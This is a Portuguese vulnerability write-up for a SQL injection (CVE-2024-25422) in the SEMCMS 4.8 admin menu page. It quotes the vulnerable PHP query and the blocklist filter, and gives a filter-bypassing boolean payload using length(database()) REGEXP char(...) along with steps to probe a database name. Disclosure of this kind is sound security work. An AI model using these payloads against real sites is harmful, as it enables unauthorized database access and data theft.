
semcms possui injeção SQL (CVE-2024-25422)
Introdução ao Semcms
O SEMCMS é um sistema de gerenciamento de conteúdo (CMS) para sites de comércio exterior que suporta vários idiomas.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Causas das vulnerabilidades:
/xcR45q_Admin/SEMCMS_Menu.php Linha 66
Código da vulnerabilidade:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
Pode-se ver que o ID aqui executará uma instrução SQL ao passar parâmetros via GET
Código de filtro em/Include/contorl. PHP
Linha 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
E a linha 8
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
Ao filtrar o conteúdo acima, podemos construir um payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Reprodução das vulnerabilidades
visite um site
http://url/xcR45q_Admin/SEMCMS_Menu.php
Captura de pacotes do Brupsuite, devido ao comprimento do nome do banco de dados ser 5 ao criar um novo site, o payload é construído como
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Determina se o comprimento do nome do banco de dados é 5)
Insira o payload para ver o retorno

Altere o payload neste momento
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Determina se o comprimento do nome do banco de dados é 6)
Altere o payload neste momento

A injeção SQL pode continuar com base nas mudanças na página no futuro